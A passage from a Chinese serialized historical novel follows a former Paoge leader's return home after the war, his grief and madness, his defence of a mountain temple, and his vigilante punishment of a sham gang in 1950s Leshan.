然而沐明真得到的消息却十分可怕,陈三爷金盆洗手后遭仇家报复,冯显贵在日本投降后一反常态开始争权夺势,抗战基本葬送了忠义堂所有的青壮,忠义堂已无力抗衡。
邢五爷暗中传信:
【总堂有变,尽快脱离;勿要走漏消息,留其在昆明养病,后续面议。】
沐明真不得不找了一套僻静的院子,请了人专门照顾周立行,并趁机用周立行的印信和总堂令牌私下向各地分堂传信,允各分堂自行脱离。
他沐明真自然也改换门庭,反正昆明都被炸得差不多了,他重新建立了一个商行,叫明实商行。
沐明真摩拳擦掌,准备跟着百废待兴的国家搞建设,然而日本人投降的喜悦刚刚过去,紧接着就是内战阴云。
国共和谈不成,内战又打了起来。
大家是多么的厌恶战争啊,好不容易赶走了侵略者,自己人又要打起来!
云南那么多的士兵远离家乡,好不容易可以回家了,却又被派往了东北的战场……
国民党在内战开始后,发狠地清算和共产党相关的人与事,沐明真感觉明实商行开始频繁被刁难,以前沐明实手下的商队商号,则是直接被查封。
邢五爷说面议,却迟迟没有来云南,后续再取找他的人回来说,邢五爷失踪了。
这一切让沐家人很是不安,他们本是从南洋归乡几十年的家族,现在不得不在嗅到危机后,再次往南洋去。
为了让家人们能安全离开,沐明真不得不割舍了所有的产业“上供”,自己也留到了最后一刻。
然而,他还是差点被逮捕。
但世事难料,也正是因此,周立行才在误打误撞中醒来,又突兀地开启了这一场逃离。
周立行将沐明真送到了边境,将沐明真托付给了去缅甸的商队。
“舵把子,我这一去南洋,我们此生或许都不会再见了。”
沐命真很是伤感,他曾经想在云南做出一番事业,没想到兜兜转转,最后竟是身无分文地回去。
周立行拍了拍沐命真的肩,“回去吧,记得告诉孩子们,他们的姑姑沐明实,是英勇无畏的女人,你们要记得给她设牌位,要祭奠她。”
沐明真鼻子一酸,他最后拥抱了周立行,二人就此别过。
周立行开走了沐明真的车,他轮番唱着佛家的往生咒和传统的喊魂调,一路沿着滇缅公路往回走,直到昆明,才将那也许引领过无数魂灵回家的车辆烧掉,然后才改名换姓地沿着川滇线往四川洪雅赶去。
*
1949年的春天,周立行终于回到了故乡。
远山始青,近水终碧,这个常年烟雨蒙蒙的县城,似乎比以往破败了许多。
愈是临近洪雅,周立行越是忐忑。
他这一路颠沛流离,走来不易。
此时的他,又想起了黑老鸹,想起了他半梦半醒的嘲笑,这天下家国永无止休的动荡。
外敌已除,内乱未停,好像乱世永无停歇。
不过,他周立行答应过冯争鸣的事情已经办到,日本人被打出去了,他可以回家了。
渡过青衣江蜿蜒的河道,沿着曲折的山间小路,他走向自己魂牵梦萦的家。
那一日细雨霏霏,他远远地便看到了破败院落中的那颗梨花树,已经长得比房子都高了,满树雪白的花朵迎风簌簌,飘落一地。
院落里,枯枝和落花混杂,铺了厚厚一地。
周立行心中咯噔一声,他忍不住加快脚步,越来越快,跌跌撞撞地往他的家疯跑而去。
他推开破败的院门,身上带着的行囊落在地上。
院中是多年未曾打扫过的腐朽,干枯发黑的梨子混着落叶烂在地上,已经成厚厚一堆。
房屋没了人居住,人气散了,便会挂满蛛网,爬满枯藤。
周立行颤颤巍巍地走进去,他看到梨花树旁,有一个坟堆。
是谁?
是谁的坟?
他的脚仿佛千斤重,短短几步路,却像是走过他的一生。
旁边不远处有一户人家,那家的女人见这破败的院子里来了人,便走出来招呼:
“你找谁呀?”
周立行失魂落魄地站在坟堆前,转身问道,“这家人呢?”
那女人嫁来这村里没几年,不认识周立行,以为是这家人的什么亲朋,便回答道:
“这是周俊秀的家,说是出去搞啥子抗日去了,许久没回来,据说是死在云南那边了。这个啊,是他婆娘王梨花的坟!”
周立行站在那里一动不动,整个人似乎都枯萎了。
那女人还在说着,“王梨花生了个儿,取的名字叫周盼回,我们喊的回娃儿。三岁那年王梨花病死了,我们把梨花嫂子埋了,后来从成都来了个人说是梨花的亲戚,把孩子带走了……”
周盼回,盼回……如今他是回了,可是……
周立行红着眼往前走了一步,人有些摇晃。
“阿涅呢?”
那女人吓了一跳,往后退着说:
“阿涅?哦周立顺是吧?嗨,被抓壮丁了,说是这家有两个男丁,必须抓一个……村里好多男人都被抓壮丁,不过这家还是挺奇怪的,怎的能把两三岁的娃儿当丁呢……那天来了好多人,拿着枪非要带走立顺,咱们村里剩下的男人都去打架,结果被抓走好多人呢……”
周立行终于再也支撑不住,他发出嘶吼的哀鸣,气血冲上头部,让他的识海一片混乱。
在悬崖之上的道路上,在飞机轰鸣的轰炸中,在此起彼伏痛苦的病吟里,在枪林弹雨的冲锋时……他无数次,无数次思念的家……
他以为自己可能会死在疾病里,死在翻车后,死在密林中,死在战场上……他看着亲近的人一个个离开,心神一直受伤……
他仿佛已经死去过无数回……
他梦到过喜雀姐生下了孩子,或许是儿子,或许是女儿,奶娃儿的脸蛋儿肉嘟嘟的,会呜哇呜哇地哭,也会甜甜地笑。
他以为命运让他活着,是垂怜他。
可,命运给了他最残忍的一击……
“刑克至亲……刑克至亲……”
周立行大脑一片嗡鸣,他又哭又笑,浑浑噩噩地往外走。
那女人不敢去拦,见来人大受刺激的样子,也不敢问对方是谁,只能眼巴巴地看着周立行越走越远……
*
周立行再次疯傻了,也许之前脑袋里的淤血根本没有化完,也许是因为再次受到了强烈的情绪冲击,也许是他不愿意面对妻离子散的结局,他又回到了之前的状态。
他是混沌的,不识天日,不辨生熟,痴痴傻傻地就这么走着,一直往前走,全
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凭身体的本能。
他沿着十二岁那年出发的路,遇到河水就喝,逮着野物就吃,就这么走着,在命运的指引下,再度回到了峨嵋山。
他不认识路,却依旧上了山,十六年过去了,山间野猴已经换了新的猴王,但老猴子们却还记得这个熟悉的人。
他的身体记得密林,高高的树木和茂密的蕨丛让他安心,他说不了言语,却记得猴狲们的叫喊。
他回归了猴群,回归了自然,就这么浪荡在了峨嵋深山里,直到有一天……
……
砰!
一声枪响,惊得峨眉山的猴子乱窜,鸟儿簌簌飞起,回声响彻山涧。
回岸寺的大门被一群匪兵撞开,穿着各色乱七八糟的军服的匪兵们举着枪支和大刀冲进去,凶神恶煞地将所有僧人集中到院坝,开始威胁。
“从今天起,回岸寺我们□□/护国军征用了!”
“你们这些僧人,只有两条路,要么加入我们,要么,死在这里!”
回岸寺的主持释静空平静地看向这群匪兵,仿佛看到当年。
那个时候,也是眼前这个熟悉的人,带着人冲进回岸寺,那一次,他失去了自己亲近的小师弟,没过多久,又失去因悔恨自责而病逝的大师兄。
释静空古井无波的眼神泛起涟漪,他双手合十,看向眼前的匪兵头子:
“莫副官,多年不见,你们团长还活着吗?”
“老子现在是旅长!杨团长现在是杨司令了!”那姓莫的咧着嘴笑。
“哟,你现在当主持了啊?你那小师弟当年跳崖,怕是没死,我后来见过他。”
释静空手指微颤,旋即稳住心情。
“阿弥陀佛,佛主保佑。”
“佛主保佑?”莫旅长哈哈大笑起来,“保佑你个锤子!老子才能保佑!”
释静空不再像当年一般愤怒,他双手合十,向身后的僧人们说道:
“加入他们,就得杀人放火,无恶不作;就得和已经入川的人民解放军队为敌。”
“贫僧宁死,不入魔道。”
“诸位,自便。”
说完,释静空盘腿坐地,闭目诵经,坦然地迎接死亡。
莫旅长气得咬牙切齿,“老子当年就该毙了你们两个!好,想死是吧!”
他举枪,杀意四溢,扣下扳机!
突然!一个毛发潦草、浑身衣物破烂、形如山猿的野人扑了过来,将那莫旅长按翻在地!
四周的匪兵惊呼,将两人团团围住,却不敢开枪,怕误伤长官。
那野人双目赤红,行为疯癫,他一口咬在莫旅长颈动脉处,就那么一扯,惨叫声中,鲜血迸射。
“啊!!!”
野人翻身而起的同时,肌肉本能一般的动作,让他拾起枪支,抬手遍射,在众人惊诧到未能立即反应的时候,他已经完成清空弹夹、拾枪继续射击、躲避到障碍物后的一连串动作。
完完全全,就是一个经历过血战的老兵姿态,弹无虚发,枪枪毙命,顿时院子里躺倒了十来号人。
这般突如其来的变故,惊呆了众人。
静空主持在那么一瞬间,似乎看到了故人的眉眼。
身体本能快于思考,静空主持立即起身,他也是自小习武的,当即从院中捡起一根齐眉棍,大喝一声,冲了上去。
其它和尚们见此状况,也夺枪的夺枪,拿棍的拿棍,嘶吼着拼杀上去。
这群匪兵大多由土匪构成,少部分是当年的军阀残留,说什么□□护国军,不过是为了烧杀掠夺和钱财利益聚起来的乌合之众!
突然来了一个杀神,上来就干掉长官,他们心惊之余,看着这十来号和尚不要命了,便有人开始往寺外逃。
有人跑,便有人跟着跑,几百人竟做鸟兽散。
*
佛像垂眸,眉眼慈悲。红香青烟,袅袅如梦。
静空颤抖着,他一步步地走向那个衣衫褴褛的野人。
那野人拿起手里的步枪对准他,像是很久没有说过话一般,声音嘶哑:
“退后……不要靠近……开枪……”
“静善……立行……”已过而立之年的静空,泪撒僧袍,“我是静空,我是兰九清,我是你师兄啊!”
那野人充血的眼睛闪过一丝疑惑,静空一步步地走过来,他一步步地往后退。
“静善!立行!周立行!醒过来!”静空一把抱住他,凄厉地喊了一声,然后念起了大悲咒。
周立行手中的枪掉到地上……
79.乐山
天色渐晚,夕阳的金边勾勒在桂花树稍,树下的两人还在聊着。
“然后呢?那些匪军被剿灭了吗?还有邢五爷呢?盼归后来找到了吗?忠义堂后来如何了?方大哥的后人过的如何?会理的林人梅后来跟着24军起义没?还有三刀凉呢?小杜鹃找到了吗?谷娃子的老婆和莲妹儿的孩子还在乐山吗?”
杨郡秀眼眶是红的,手绢是湿的,她用一下午的时间,哭着听这个男人讲了他传奇的前半生,但显然,对方还没有讲完。
她似是有极强的共情能力,她为周立行生命中每一个重要的人的逝去而难过,同时作为一个母亲,她非常在意那些孩子们过得如何。
周立行抬头看了下天边的晚霞,再听巷子外面的声音,应是这位女子的家人回来了。
“接下来的事情,等我替你办完了事,再讲。”
“姐!”
一名十八九岁的少年出现在巷口,他牵着另一个四五岁的小女孩,两人和杨郡秀都长得十分相似。
那少年见了周立行,眉头一皱,表情不太友善:
“你是谁?”
杨郡秀赶紧起身,“郡杰,这位大哥是无意走错路进来的,正要遇上我犯病,帮了我一把。我留他聊聊天,他答应了要帮我把阿玉她爸的东西要回来。”
杨郡杰上下打量周立行,虽然没说话,但眼神里全是怀疑,他总觉得对方居心不良,是想来哄骗自己的漂亮姐姐。
毕竟,当年他们家经营着豆腐乳的厂子,家人对孩子的教育十分上心,姐姐也是读了好些年的书的,若不是当初定亲的那家人觉得世道不太平要早点结婚,以姐姐的聪慧程度,定是能去读国立四川大学的。
现在姐姐孀居,不知道有多少人明里暗里的打他姐姐的主意,他们家特地从五通桥那边搬到这里来,就是为了换个清净的地方。
“是吗?那还真的是谢谢了。”杨郡杰口气敷衍,他一把将侄女抱起来,明确地下逐客令。
“天色晚,不留饭,等这位大哥你办到了,我们家再备酒席感谢你啊。”
周立行点头,转身要走,杨郡秀却在后面担忧地询问:
“周大哥,你有地方去吗……”
“姐!”杨郡杰不知道姐姐是怎么回事,赶紧地出言阻止。
周立行失笑,手里还拿着那没有绣完的枕套,他回头道,“我明日会来,还请将委托写好。”
今日下午的一场言谈,仿佛是冥冥之中的机缘,周立行也不知自己为何突然想诉说,他竟是讲了那么久。
都没来得及听杨珺秀讲她的过往,也没来得及询问委托的细节。
一听周立行明天还要来,杨郡杰的毛都快炸起,他看见了周立行手中的枕套,想要上前去拿,却被杨珺秀抓住:
“弟娃回来,听我给你说……”
……
第二日中午,周立行如约而至。
杨郡杰没去做工,臭着脸陪着姐姐守在家门口,正在跟杨珺秀嘀嘀咕咕。
“……你就不怕他是骗子啊,之前也不是没人说过帮忙,结果一个二个不过是来骗钱骗吃喝甚至想骗你人……”
“嗯,骗子,骗个枕套。”杨珺秀点着头,笑眯眯的,她的心情是这几年以来难得的轻快。
虽然昨晚已经跟弟弟讲了这位周立行的过往,虽然弟弟看起来不太相信,但杨郡秀觉得,她信。
若是这样一位曾经当过袍哥舵把子,又是在战场上杀过敌、经历过生死的人,愿意帮助她,那肯定是能办成的。
杨郡杰一哽,不服气地回答,“谁知道他是不是想放长线钓大鱼啊……昨天妈也是,就在屋里听你们聊天,也不出来阻止下,一个个的都不省心,要是万一来的是为非作歹的人咋办!”
“……让你担心了,以后我们注意些……”
杨珺秀温柔地回答着。
周立行听力好,远远地顺着风听到这些谈话,他心中对杨郡杰倒是颇为赞赏。
防人之心不可无,任何时候,都得小心为上。
咳嗽一声,提醒有人来了,周立行踏入巷内,地上落下的桂花又多了一些,踩上去像是地毯一般。
杨珺秀见那道清瘦的人影走来,露出笑意,“周大哥!”
周立行没有走太近,他站在桂花树下,“请夫人将委托书给我吧。”
杨郡杰手里拿着一封纸,他也吃不准面前这个看起来颇历风霜的男人是否真的所言属实,毕竟,乱世初定,鱼龙混杂,谁也不知道会不会真的遇到贵人。
他只能按姐姐的想法,上前把写满字的纸递给周立行。
周立行打开信封,展开纸,那是一手娟秀的钢笔字,写得十分好。
纸上写清楚了杨珺秀的前夫一家姓名和地址,还有前夫堂弟一家的姓名住址,以及她印象中还记得的一些属于她的物品。
杨珺秀简单地说了几句话,讲述了她的过往:
“我的前夫致松,是一名留过洋的公路桥梁工程师。他48年底去修缮乐西公路的时候,被泥石流给埋了……”
“那时候,我们的女儿玉闺儿还没满周岁,致松的堂哥死了婆娘没续弦,见我们家遭逢大难,竟是说着要娶了我,大家亲上加亲一家人,他便给致松的父母养老……”
杨郡杰愤愤不平地插话,“他们一家就是放屁,什么癞疙宝堂哥,平日里吃喝嫖赌嗨袍哥,烂疮都长到脸鼻子上了,还敢肖想我姐!嘴里说的天花乱坠,不过就是吃绝户的借口,可笑的是致松哥的妈老汉儿竟还觉得这是好事……”
周立行沉默地听着,他知道,当初最英勇的那批袍哥都死了,剩下来的不是贪生怕死的,就是心志不坚的,甚至就是一群没了约束的地痞流氓而已。
“我和老汉儿拼着打架也要把姐姐抢回来,那家人一开始还不答应呢!歪得很……”
说起这件事,杨郡杰一肚子的火又燃了起来。
杨珺秀却一把拉住杨郡杰,不让他多说,“已经过去了,致松的父母也死的不明不白……”
“他们活该!他们见玉闺儿是女孩子的时候,那嘴脸多难看啊!月子里给你多少气受,你忘记了,我还记得一清二楚呢!活该他们死!被死!要不是看在前姐夫还算个好人的份上,我早……”
杨郡杰跟点燃的炮仗一样,就差没跳起来,杨珺秀不得不伸手去捂弟娃的嘴,两姐弟就这么拉扯起来。
周立行窥一斑而知全豹,他点头,拱手行礼,“受人之托,忠人之事。我先去了。”
*
周立行不当袍哥大爷好多年,但打听消息的能力,任就是一流的。
尤其是,杨珺秀前夫致松的堂哥致河当过袍哥,甚至还开起来一家茶馆想继续做堂口的情况下。
这简直就是龙王遇上大水,比回家还轻松。
周立行去了乐山五通桥附近,几乎没有废什么功夫,就找到了致河的茶馆。
那茶馆开在城里,单一层的平房,三间铺子,后面有个小院,左右各三间房,最后正堂倒是打通,里面倒是布置成堂口模样,上面放着七张椅子,下面一排凳子。
正堂墙上,挂着一副关圣的画像,下面的供桌放着香炉,只不过没有供香。
周立行在外面的铺子里喊了茶,如当年黑老鸹那般,摆着茶碗阵,掐着三把半香的手势,在那里等着。
然而,茶都凉了,也没人来跟他对暗语。
周立行无奈地笑了一身,端起冷茶喝了一口。
是他冒昧了,当年的正统袍哥们,不是死在战场上,就是死在修路中。现在的茶馆堂口,只不过是借了当年那些英雄豪杰的名头,实则是一群鱼目混珠的败类而已。
他自个儿要了一壶热水,收了茶碗阵,慢悠悠地等到日落,中途甚至去上了几次厕所,等到茶铺快关门,等到致松带着人醉醺醺地回来,看着他们十来人去了后院,周立行这才从位置上站起来。
两个堂倌如释重负,天知道他们今天一下午能有多紧张,这个让人发憷的男人一直不走,他们上前攀谈对方也不吭声,搞得人心中紧张得很。
眼看着以为周立行要走,两个堂倌赶紧地来收拾桌子。
哪知道,
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周立行站起来,却是往后面院子跟着去。
其中一个十七八岁的年轻堂倌想要去拦,被另一个四五十岁的年老堂倌眼疾手快地抓着:
“你还看不出来啊,这是来寻仇的啊!”
“咋看出来的?”
“哎哟喂先人板板,他一来的时候就摆了茶碗阵,那手势我看不出来意思,但我晓得那是以前的袍哥些才搞的东西……”
“他坐着的位置,选的都是背靠墙眼观四方的!你看他那眼神,又冷又渗人,那铁定杀人如麻!”
“快走快走,明天再来,别看热闹了小心遭误伤……”
年老堂倌毕竟从乱世过来的,靠着当年跑警报练出来的速度,拖着年轻堂倌一溜烟地就消失在街尾,连铺子都没给关。
周立行没有分心去听两个跑路堂倌的叽叽喳喳,他从站起来往院子里走的时候,浑身已经在蓄气。
他踩在石板上的脚步毫无声息,呼吸也若有如无,那是他在滇西密林中形成的习惯,时至今日一旦他谨慎了,自然而然就会调出这种状态。
致江等人嘻嘻哈哈地走进后堂,他突然汗毛倒竖,冷不丁地转头一看,院子中站着一个浑身煞气的男人。
“哪个!”
致江大喊一声,身边的喽啰们跟着喊起来。
“走拐了哇!这后面不是茶馆哈!”
“啥子人?不会是来找茬的吧?”
“哪个敢来我们兴龙堂闹事!我看你是茅司头打灯笼,你找死……”
“站倒,再走一步,老子不客气了哈!”
周立行听那些地痞摸样的喽啰们喊叫,抬头笑了一下,他脸型瘦削,这几日忙着打听消息,下巴上长出了短短的胡茬,更显得整张脸有一股子江湖气。
“兴龙堂?什么乱七八糟的名字,礼义仁智信威德福智宣是一个都不带……”周立行往前走一步,“罢了,就当你们是个堂口吧。”
致江听得鬼火冒,从人群中站出来大喊道:
“老子这就是资格的堂口,你龟儿算啥子东西,啷个大的口气……”
“天开黄道日,龙门大吉昌;英雄齐聚会,禀开忠义堂。”
周立行念出了沉寂脑海中许久的立堂令,他双手持节,踏奎星步,做了双龙头老大的姿势。
“信香三柱,奉祀明堂。”
若是有人看得懂,那他周立行今日,可以给这堂口一分香火情,至少,不杀人。
致江突然脸色一白,他的的确确是混过袍哥堂口的,但这些话,他是很久以前才听过了。
要说有多久呢,应该是……至少十多年前了……
现如今,谁还会讲这些个晦涩难懂的语句?谁还会用这样看不懂的礼节姿势?
大家只要喝一顿酒,然后自己承认自己是袍哥,挂上关公的像,就可以当自己有堂口了。
眼前这个男人看起来也就三十左右,怎的一副老江湖做派?
并且这个姿势,双龙头老大?
致江心中有些发虚,口里却更加猖狂起来,“上香就上香,说你妈锤子的切口话,嚯,还比个双龙头老大的姿势,当年的双龙头都是一边当袍哥一边当国民党的军官,那共产党没把你逮去枪毙了啊!你嚯老子不懂嗦!”
周立行这次是真的笑了。
“那如果我是曾经的双龙头,那你想想,我为什么现在没有被枪毙呢?”
他这般说话,双手自然地垂下,闲庭信步地走到致江等人身旁,却只是走进堂内,环顾四周。
没有青香,原来那关圣图下面的香炉,是个摆设。
周立行摇摇头,却还是做出了取香,点烛,祀拜的动作,将自己的心意当做香,插在了香炉里。
致江等人如同看傻子一般看周立行在那敬假香,众人面面相觑。
“这是……喝醉了?”
“咋感觉像个哈儿……”
“不对劲,别真的是脑壳有问题的闷得儿吧?”
“你们是真的啥子都不懂啊!他这是给关二爷上心香,先礼后兵!上完了,怕是就要说事了!”
80.乐山
三鞠躬后,周立行转了身,他竟是一拂衣袖,大马金刀地坐在了那一排椅子的主位上。
周立行眯着眼辨认人群里是谁看得懂他的做法,他目光扫过去,一个约莫十七八的少年迅速躲到致江的身后,似是不敢跟周立行对视。
或许,是当年老袍哥的下一代,周立行这样想着,决定再给这些人一个机会。
“既你们说自己是堂口,那今日的事,就按堂口的规矩办。”
周立行坐在那龙头舵把子的椅子上,神态就像是换了一个人一般,那份锐利和嚣张暂时突破了陈年累积的郁气,仿佛让他回到了当年的岁月。
致江进退两难,他吃不准这个敢单枪匹马来的男人,到底是个什么人物,又不愿意在小弟们面前丢脸,只能不屑地回答:
“虚张声势的东西,你倒是说说,啥子事!”
“海底十条和十款,纪纲从不讲人情。致江,弟淫兄嫂,是死罪。”
周立行手中亮出匕首。
致江脸色突变,他高声喊道,“你放屁!我那是请人上门说媒,她公公婆婆同意了的!这是我们一家人的家事,不过就是转房而已,她不愿意,家人来把人接回去了,我淫个锤子,我人都没有摸到过!”
周立行轻笑一声,从衣兜里掏出杨珺秀亲笔的委托晃了晃。
“苦主上陈,我忠义公周行善接受委托,今关圣见证。”
“致江,你觊觎寡嫂,殴打寡嫂老父幼弟,逼其带女离家,应责红棍八十;占亡兄家产,赡养叔婶不力,应责红棍二十,并磕转转头,归家产与侄女。致江,你可认罪?”
致江脸上一阵青一阵白,他听鬼火冒,一脚踹翻凳子,指着周立行大骂,“日麻你真把自己当公口大爷来传堂啊!”
“兄弟们,弄死他!狗日的杨家,竟然还敢找人来跟我论理,看我收拾了你,再怎么去收拾他们家!”
话毕,致江手里也亮出了匕首,带头冲了上去。
那些喝了酒气血上头的小弟们,也跟着哇哇大叫地冲了上去,势要让这个敢在他们的堂口大放厥词的男人知道什么叫双拳难敌四腿!
周立行站起来,左手拎起起沉重的实木椅子,却仿若拿着一根木根般轻松,他稳准狠地砸到了致江的手臂上,只听得咔嚓声响,致江的手臂和肩骨断裂,手里的匕首咣当落到地上。
“以下犯上,袭杀龙头,那不如开草坝场吧。”
说话间,周立行的声音快如闪电,他下手都是杀招,纵然是收着力道,也是一击制敌。
战场上活下来的人,从来不做无谓的争斗,无论是当年和日军在丛林中的生死拼杀,还是他刚刚跟随部队结束的剿匪争斗,他周立行能活到现在,凭的可不是心慈手软。
三下五除二,堂口的七把椅子砸出七个人躺地哀嚎,剩下四个人从背后合围而上,竟是不知从哪里拿出铁链,想要将周立行给绞住。
这些平日里仗势自己人多的地痞流氓们,论力气甚至都未必有日日劳作的船工农夫大,他们凭的不过是虚张声势的好勇斗狠,其实都是些欺软怕硬之徒。
周立行收拾他们,比收拾潜伏起来兴风作浪的特务以及真正杀人如麻的土匪简单多了。
他一个下腰贴地躲过脖子和腰间的铁链,手中匕首掷出,直插其中一人肩窝,反手抓起地上摔坏的桌腿,人未起身,一棍横扫,直接打断两人的小腿。
当只剩一个人的时候,恰好是那个之前发声说过周立行给关二爷上心香的少年。
这个少年一直出工不出力,看着跳得高,实际上离周立行远得很,所以一直没被揍。
此刻,这少年看了看自己手里的铁链,再看鲤鱼打挺站起来的周立行。
他丢掉铁链,啪叽跪了下去:
“大哥,我,这事跟我没关系……冤有头债有主,都,都是致江一个人的事,跟我们没关系……”
这边最后一个小弟投降,那边地上滚了一堆哀嚎的人。
“啊啊啊……我的腿,腿断了!!”
“好汉饶命!大哥饶命!是我们狗眼看人低不知天高地厚……”
“大哥,我们错了,我们不该动手……”
“对,对,都是致江惹的事,跟我们没关系……”
周立行对那些哀嚎充耳不闻,恶人都是这样,自己欺负别人的时候趾高气昂,根本不会听别人求饶,甚至会为了听求饶而更加恶劣,仿佛欣赏别人的痛苦是享受。
当这些恶人遭受报应的时候,却又以为哀嚎和恳求可以减轻惩罚。
他十几岁就当纪纲了,走到现在,怎么可能听几句话就放过他们。
周立行把致江从地上像拎死狗一般拎起来,拍着他的脸,轻声问:
“说说看,你准备怎么去收拾杨家?”
致江猛地单手往身后一摸,竟是掏出一把手枪,对着周立行的脑门就要开枪。
周立行眼也不眨,一手拎着致江胸口的衣服,一手迅捷地抓住了致江的手枪。
砰!
枪口被挪开了几寸,擦着周立行的眼前,从致江和周立行对视的视线中穿过,集中了背后的关圣像。
关圣的额头被击中,留下一个深深的弹孔。
致江额头的汗水低落,他竟然没有在周立行眼中看到任何的闪躲迟疑,周立行就那么看着他,仿佛是看一根木头,或是一块石头,不像是在看人。
周立行手指用力,捏的致江惨叫起来,不得不放开了枪。
枪落在周立行手中,他手指极为灵巧,单手卸掉了弹夹中的子弹。
铜壳的子弹落在石板地上,发出清脆的声音,之前惨嚎的小弟们此刻鸦雀无声。
“要杀我,可惜,我命硬。”
周立行把没有子弹的手枪揣进自己兜里。
致江整个人都瘫软下去,他忍着痛,等周立行到了他面前,他才对着周立行的脑袋开枪,竟然这样都没有打到……
“这院里没铺石板,干脆就在这里开草坝场吧。”
周立行自言自语。
满地的小弟们你看我我看你,其中一人结结巴巴地问,“啥,啥子是,草坝场?”
周立行抖了抖已经身躯发软的致江,“你是懂的,你说说?”
致江吓得尿都出来了,说不了话。
周立行直接看向之前说过话的少年,“你说说,什么是草坝场。”
“自……自己挖坑……自己埋……”少年吓得眼泪直流,哆哆嗦嗦地回答。
“你们的大哥现在吓耙了,就得麻烦你们给他挖坑咯。你,去拿铁楸!”
周立行心下更加相信,这个少年家里有当年的袍哥中人,更是要好好的教训他一下。
这群小弟吓傻了,他们你看我,我看你,纷纷推诿起来。
“我手断了……”
“
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我腿断了……”
“对,我们都被打伤了,我们动不了……”
唯一跪着身上没伤那个少年更是头摇得更拨浪鼓似的,“我不行,我不可以,我哥是警察!我不能干这种事……”
一片乱七八糟的叫喊声中,周立行听到少年说警察,他走到这个少年面前,弯腰端详对方的表情。
“你多大?”周立行问。
“十七……”少年吓得一哆嗦。
“参与殴打杨家老父幼弟没?”
周立行算时间,杨珺秀的父亲是四年前被致江带人殴打后,病了半年死去的,应该十三岁的孩子还不至于参与。不过,不确定就先问问,毕竟当年谷娃子石娃子十二岁就跟着去堂口做事了。
那少年更加使劲地摇头了,他感受到了比他哥更吓人更恐怖的杀气,摇头摇得眼泪都飞出来了。
“我今年才进他们的堂口,我,我就觉得威风……我没有做过坏事……就,就跟着打几场群架……我错了,呜呜呜大哥你饶了我,我不敢杀人的……”
周立行一个爆栗子敲上了那年轻人的脑袋,“既然你哥是警察,他没跟你说现在大量匪特顶着袍哥的名义搞暴乱,在新中国决定清匪反霸后,整个大西南的正规堂口全宣布自行解散了吗!”
“说了……呜呜……”
那年轻人抱着头哭,“我就是,他以前,他当过,我也想……”
不再理会这个愚蠢的年轻人,周立行言归正传,拎着致江往院子里面走。
“那就只能我挖坑了,让你的小弟们一人一捧土埋你。”
周立行说到做到,亲自找出铲子,速度极快地挖出一个大坑。
致江这是真的慌了,一直在旁边痛哭流涕地求饶:
“大哥,大爷,舵把子……我错了……我不该觊觎兄嫂……我不该殴打亲长幼弟……我不该侵占亡兄家产……我错了,我都归还,我全部都还……我赔偿,对,我可以赔偿……求求你啊舵把子……我狗屎糊了脑袋才对你开枪啊……这也没有伤到你,你大人不记小人过……”
周立行充耳不闻,直接把致江放进了坑里,他侧耳对着门口听了听,示意其他跪在坑周围的小弟们填土。
“不填土的,我就踢下去,让你们去陪他。”
那些手脚骨头被打断的小弟们,如丧考妣地往坑里填土。
致江自觉没有生机了,转而破口大骂:
“日你先人板板的龟儿子杂种!老子做鬼都不得放过你们的!格老子的当袍哥要讲义气,你们讲的锤子义气!”
“杨珺秀这个贱人,老子当初就该直接弄死她母女……”
周立行一把土砸进致江嘴里,手动消音。
眼看着致江整个人都被土埋住,周立行端着个凳子坐在坑边,听着一队人在街道上跑动的声音。
“警察!!!有人举报你们聚众斗……”
冲进来的五名警察声音戛然而止,他们和一群肢体扭曲着往坑里填土的男人们面面相觑。
周立行单手托腮,挑眉提醒道:
“这下面埋了个人,你们要挖吗?应该还没有憋死。”
为首的派出所所长颤巍巍地伸出手,先是指着跪在边边上哭的少年:
“三娃子!你……”
然后听到周立行说话,又把头扭过来,然后瞪大眼不可置信地说:
“周,周俊秀?!”
81.乐山
周立行姿态闲适地坐在木椅上,看着那喊出他化名的公安同志,真巧,竟是熟人赵大石。
他没有多废话,只用手指了指地上还没有填满的坑。
派出所所长、公安赵大石同志:“……”
本来是想救人的,但现在不确定该不该救了。
“……埋的什么人?”
出于曾经同生共死的剿匪情谊,赵大石谨慎地开口,先问清楚情况。
“自称是乐山兴龙堂的堂主,坑是我挖的,人是这些堂口兄弟们埋的。”
周立行也不怕憋死致江,既然来人问了,他便回答。
赵大石狠狠地睐了三娃子一眼,三娃子一个哆嗦,赶紧辩白:
“我没动手!我是清白的!”
“那还是先挖起来审问下,跟敌特有无关系。该枪毙的,开人民公审大会枪毙。”
赵大石一挥手,身后的几名警察赶紧地上去挖人。
周立行打量着这几名警察的着装,有三名警察穿着的,是和赵大石一样的50式人民公安部队军服,草绿色棉平布,头戴解放帽,胸配“八一”红五星金属帽徽,胸前佩带“中国人民解放军”七个黑字白底红边的布胸章。
此时的公安部队本就属于解放军序列,承担着剿匪反特的任务。
而另外一名警察,还穿着民国卅六年(1947年)式警服,黑色的警服已经取掉了所有原国民党政府的标志,胸牌和臂章用的事乐山地方政府自行制作的证章。
“他怎么还没有换装?”
周立行站起来,指了一下那个特别卖力刨人的旧警,向走到他面前的赵大石询问。
能和公安部队一起行动的旧警察,都是经过集训、甄别、清理和审查程序后,政治历史干净、警务素质优秀的人员,他们对辖区人员地形熟悉,公安部队的工作才能更好开展。
他记得走之前,上级已经在通知集体换装了。
“快了快了,申请已经通过了,等着发衣服呢。”
赵大石很是高兴,他上前给周立行一个大大的拥抱,“你怎么来乐山也不找我!”
周立行拍了拍赵大石的肩膀,“我也不晓得你在乐山啊。”
说到这里,赵大石才想起来,“对吼!哎,你当时咋个不辞而别啊,政委到处找你……”
周立行摇了摇头,示意这里不是叙旧的地方。
被刨出来的致江已经憋晕了过去,周立行也不客气,上手咣咣给他几耳光,直接把人扇醒。
致江醒来见着公安部队的人,立马一阵哀嚎,反口就咬:
“警察同志,这里有个当过袍哥双龙头的恶棍,你们快抓他啊!他,他逼着乡亲们活埋我啊……”
“这人要是当过双龙头,当年跟国民党肯定有关系!抓他!快抓他!”
赵大石浓眉倒竖,“他是什么人,我们比你清楚!这可是给咱们解放军立过功的英雄!”
短短两句话,致江听傻眼了。
周立行还拎着致江,冲他露出一个意味深长的微笑,“没想到吧?”
致江彻底垂头丧气,不再言语。
赵大石换上严肃的表情,环视一圈满地哼哼唧唧的伤员,手一挥,“自个儿相互搀扶着!全部去派出所!”
*
因担心这堂口的袍哥们和匪特有联系,公安干警们连夜地审讯了致江等人,天亮了才把人送去卫生院处理伤势。
周立行则是舒舒坦坦地在派出所里找了个长凳躺下就睡,睡醒了还去食堂蹭了顿饭吃。
